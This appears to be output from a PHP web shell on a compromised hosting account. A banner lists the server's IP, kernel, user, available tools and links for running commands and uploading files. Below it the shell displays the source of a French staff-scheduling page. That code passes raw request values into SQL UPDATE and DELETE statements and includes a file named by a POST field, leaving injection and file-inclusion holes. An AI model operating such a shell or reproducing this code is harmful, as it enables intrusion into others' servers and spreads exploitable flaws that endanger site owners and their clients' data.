|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<body>
<script type="text/javascript" src="jquery.min.js"></script>
<script>
function modifier(id,duree,hdebut,hfin,com){
//window.location.replace("annexe.php?id=test");
window.location.replace("annexe.php?id="+id.value+"&duree="+duree.value+"&hdebut="+hdebut.value+"&hfin="+hfin.value+"&com="+com.value);
// &duree.value & hdebut=hdebut.value & hfin=hfin.value & com=com.value
//alert( id.value+duree.value + hdebut.value + hfin.value + com.value);
}
</script>
<?php
include_once 'code/init.php';
function heure2int( $str ) { // Convertir 3h30 => 210 minutes
$th = split('[hH]', $str);
$h = $th[0];
$m = $th[1];
return $h*10000+$m*100;
}
if(isset($_GET['id'])&& isset($_GET['hfin']))
{
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
$Hdebb =heure2int($_GET['hdebut']) ;
// echo "---->".$_GET['hdebut']."br/" ;
// echo "---> $Hdebb <br/>" ;
$idd= $_GET['id'] ;
$duree=$_GET['duree']*60 ;
// echo "---> $duree <br/>" ;
$comnt =$_GET['com'] ;
// dbi_query ("UPDATE SET yassin presta_Hdeb=$Hdebb , presta_Hduree=$duree , Adresse3_Chantier="."'$Adresse3_Chantier'"." where id=$idd=");
dbi_query ("UPDATE yassin SET presta_Hdeb=$Hdebb , presta_Hduree=$duree,commentaire='$comnt' where id=$idd");
}
$intero= $_POST['interv_id'] ;
$_POST['tmp']="annexe";
if(isset($_POST['PDF']))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
$array = array_keys($_POST);
foreach ($array as $value)
{
// echo $value; echo '<br />';
//
if($value != "interv_id" AND $value != "ID" AND $value != "dure" AND $value != "Hdeb" AND $value != "Hfin" AND $value != "COMT" AND $value!= "PDF" AND $value!= "tmp" )
{
$cheek[] = $value ;
}
}
// print_r($cheek) ;
// "<br/>" ;
$taille=count($cheek) ;
$page = " where id != 222 " ;
for($i=0 ; $i<$taille ; $i++)
{
if(is_numeric($cheek[$i]))
{
$page .= " and id != ".$cheek[$i] ;
}
// echo "--dd->".$cheek[$i]."<br/>" ;
}
// echo "$page <br/>" ;
// exit() ;
dbi_query ("DELETE FROM yassin $page ");
if (!is_dir("templates"))
{
mkdir("templates", 0755) ;
chmod("templates", 0755) ;
}
if (!is_dir("templates/".$_POST['tmp']))
{
mkdir("templates/".$_POST['tmp'], 0755) ;
chmod("templates/".$_POST['tmp'], 0755) ;
}
$intero= $_POST['interv_id'] ;
include_once 'includes/tmp_annex_pdf.php' ;
if(isset($_POST['tmp'])) {include 'template_'.$_POST['tmp'].'.php';}
$pdf = new Template ($lecontenu,$letitre,$lecour);
$nompdf=$_POST['interv_id'];
$path = "templates/".$_POST['tmp']."/".$nompdf.".pdf";
$pdf->Output($path, 'F') ;
//header("Content-disposition: attachment; filename=".$_POST['tmp']."-$nom_inter-".$_POST['contrat_id'].".pdf");
header("Content-Disposition: attachment;location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
header("Content-Type: application/force-download");
header("Content-Transfer-Encoding: binary");
header("location:templates/".$_POST['tmp']."/".$nompdf.".pdf" );
header("Content-Length: ".filesize($path));
header("Pragma: no-cache");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Expires: 0");
readfile($path);
}
if(isset ($_POST['Ajouter']))
{
dbi_query("DROP TABLE IF EXISTS yassin") ;
dbi_query("CREATE TABLE IF NOT EXISTS yassin (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,`agence_id` INT ,`client_bureau` INT,`inter_bureau` INT,`inter_id` INT ,`inter_genre` TEXT ,`inter_nom` TEXT ,`client_id` INT ,`client_nom` TEXT ,`presta_id` INT ,`presta_Hdeb` INT ,`presta_Hduree` INT ,`presta_jour` VARCHAR( 7 ) NOT NULL ,`presta_forfait` DECIMAL( 5,2 ),`commentaire` TEXT ) ENGINE = MYISAM ;");
$q4 = dbi_query("SELECT * FROM ".TABLE_CLIENT." where agence_id=$agence AND client_actif='0' ");
// echo "-----> $date <br/>" ;
// exit() ;
$date = date('Ymd');
// partie client ..................
while($clien = dbi_fetch_row($q4))
{
$q = dbi_query("SELECT * FROM ".TABLE_PREST." p where p.client_id=".$clien['client_id']." AND p.agence_id=$agence AND (p.presta_date_fin > $date or p.presta_date_fin is NULL) ");
// $q = dbi_query("SELECT * FROM ".TABLE_PREST." p where inter_id = $intero AND p.agence_id=$agence AND (p.presta_date_fin > $date or p.presta_date_fin is NULL) ");
// $date = time2int($time) ;
while($prest = dbi_fetch_row($q))
{
$data = array('jour' => $prest['presta_jour'], 'deb' => $prest['presta_Hdeb'], 'duree' => $prest['presta_Hduree'], 'inter' => $prest['inter_id'], 'taux' => $prest['presta_forfait'], 'idclient' => $prest['client_id']) ;
$q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." order by `start`, `date` ") ;
while (($m = dbi_fetch_row($q1)) )
{
$data['jour'] = $m['jour'] === NULL ? $data['jour'] : $m['jour'] ;
$data['deb'] = $m['Hdeb'] === NULL ? $data['deb'] : $m['Hdeb'] ;
$data['duree'] = $m['Hduree'] === NULL ? $data['duree'] : $m['Hduree'] ;
$data['inter'] = $m['inter_id'] === NULL ? $data['inter'] : $m['inter_id'] ;
$data['taux'] = $m['taux'] === NULL ? $data['taux'] : $m['taux'] ;
// $data['heurD'] = $m['presta_Hdeb'] === NULL ? $data['heurD'] : $m['presta_Hdeb'] ;
}
$inter = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_INTERV." WHERE inter_id = '".$data['inter']."' AND agence_id = $agence")) ;
$clien = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CLIENT." WHERE client_id = '".$data['idclient']."' AND agence_id = $agence")) ;
$inter_id=$inter['inter_id'] ;
$inter_nom=addslashes($inter['inter_nom'].' '. $inter['inter_pnom']);
$inter_genre=$inter['inter_genre'];
$client_id=$clien['client_id'];
$client_bureau=$clien['client_bureau'];
$inter_bureau=$inter['inter_bureau'];
$client_nom=addslashes($clien['client_nom'].' '.$clien['client_pnom']);
$presta_id=$prest['presta_id'];
$jour=$data['jour'];
$Hdeb=$data['deb'];
$Hduree=$data['duree'];
$taux=$data['taux'];
if($data['inter']==$intero)
{
$sqlinsert = "INSERT INTO yassin VALUES ('','$agence', '$client_bureau', '$inter_bureau', '$inter_id', '$inter_genre', '".$inter_nom."', '$client_id', '".$client_nom."', '$presta_id', '$Hdeb', '$Hduree', '$jour', '$taux', '')";
dbi_query ( $sqlinsert );
}
//echo $sqlinsert;
}
}
}
if( isset($_POST['Modifier']) or !empty($intero) or isset($_GET['id']))
{
?>
<table class="td_normal" BORDER="1" cellpadding="4">
<thead>
<tr >
<th rowspan=2 class="td_normal" scope="col">client</th>
<th rowspan=2 scope="col">adresse</th>
<th rowspan=2 scope="col">jour</th>
<th rowspan=2 scope="col">Durée</th>
<th rowspan=2 scope="col">H debut</th>
<th rowspan=2 scope="col">H fin</th>
<th rowspan=2 scope="col">Commentaire </th>
<td style="white-space : nowrap;">check </td>
<td style="white-space : nowrap;">action </td>
</tr>
</thead>
<tbody>
<?
//---------------------------------------------
$sql .="SELECT * FROM yassin ";
$req = dbi_query($sql);
$tmp = 0 ;
?>
<form action="" method="post" class="td_normal" >
<?
while($info = dbi_fetch_row($req))
{
list($adr1,$adr2,$adr3,$cp,$ville) = dbi_fetch_row(dbi_query(" SELECT client_adr1,client_adr2,client_adr3,client_cp,client_ville FROM client WHERE client_id = ".$info['client_id'])) ;
$adress = $adr1." ".$adr2." ".$adr3." ".$cp." ".$ville ;
$tmp++ ;
echo '<tr>';
?>
<tr >
<input type="hidden" name="interv_id" value="<?=$intero?>" style="width:50px;">
<input type="hidden" name="ID" value="<?=$tmp?>" style="width:50px;">
<td style="white-space : nowrap;"><A href="top.php?link=client&page=aaa&id=<?=$info['client_id'] ?>"><?=ucwords($info['client_nom'])?></A></td>
<td style="white-space : nowrap;"><?=$adress?></td>
<td class="td_normal" style="white-space : nowrap;"><?=presta_jour2jour($info['presta_jour'])?></td>
<td style="white-space : nowrap;"><input type="text" name=<?="dureedd".$info['id']?> value="<?=$info['presta_Hduree']/60?>" > </td>
<td style="white-space : nowrap;"><input type="text" name=<?="Hdeb".$info['id']?> value="<?=int2heure($info['presta_Hdeb'])?>" > </td>
<td ><input type="text" name=<?="Hfin".$info['id']?> value="<?=int2heure(addDuree($info['presta_Hdeb'], $info['presta_Hduree']))?>" > </td>
<td style="white-space : nowrap;"><input type="text" name=<?="COMT".$info['id']?> value="<?=$info['commentaire']?>" > </td>
<td style="white-space : nowrap;"><input type="checkbox" name="<?=$tmp?>" value="<?=$tmp?>" > </td>
<input type="hidden" name=<?="id".$info['id']?> value="<?=$info['id']?>" >
<td colspan="4" align="right" class="td_listing1"><input type="button" name="Modifier" onClick="modifier(<?="id".$info['id']?>,<?="dureedd".$info['id']?>,<?="Hdeb".$info['id']?>,<?="Hfin".$info['id']?>,<?="COMT".$info['id']?>);" value="Modifier" class="big" ></td>
</tr>
<?php
}
?>
<input type="hidden" name="interv_id" value="<?=$intero?>" style="width:50px;">
<td colspan="4" align="center" class="td_listing1"><input type="submit" name="PDF" value="PDF" class="bigbutton" ></td>
</form>
<?
}
session_start();
if(isset($_POST['interv_id'], $_POST['nbh']) && !isset($_POST['contrat_id']))
{
//exit('-------->'.$_POST['duree_h']);
$nb = dbi_fetch_row(dbi_query("select count(*) nb from ".TABLE_INTERV." where agence_id=$agence AND inter_id = ".$_POST['interv_id'])) ;
}
print_header ('','','style="margin-top:15px; padding:20px;"');
if(!isset($_POST['Ajouter']) AND !isset($_POST['Modifier']) AND !isset($_GET['id']))
{
?>
<form action="" method="post">
<input type="hidden" name="Ajouter" style="width:50px;">
<input type="hidden" name="" value=""/>
<table class="td_normal" cellpadding="4">
<tr>
<td>
intervenantsss :
</td>
<td>
<?
$intervenant = dbi_query("SELECT * FROM intervenant where agence_id = $agence and inter_actif = '0' ORDER BY `intervenant`.`inter_nom` ASC ");
?>
<select name="interv_id">
<?
while($inter=dbi_fetch_row($intervenant))
{
?>
<option value="<?=$inter['inter_id']?>"> <?=$inter['inter_nom']."".$inter['inter_pnom']?></option>
<?}?>
</select>
</td>
<td colspan="2" align="right" class="td_listing1"><input type="submit" value="Ajouter" class="bigbutton" onClick="this.disabled=true;this.form.submit();"></td>
</tr>
</table>
</form><br /><br />
<?
}
// dbi_query("DROP TABLE IF EXISTS prest_temp_".$agence."");
?>
</body></html>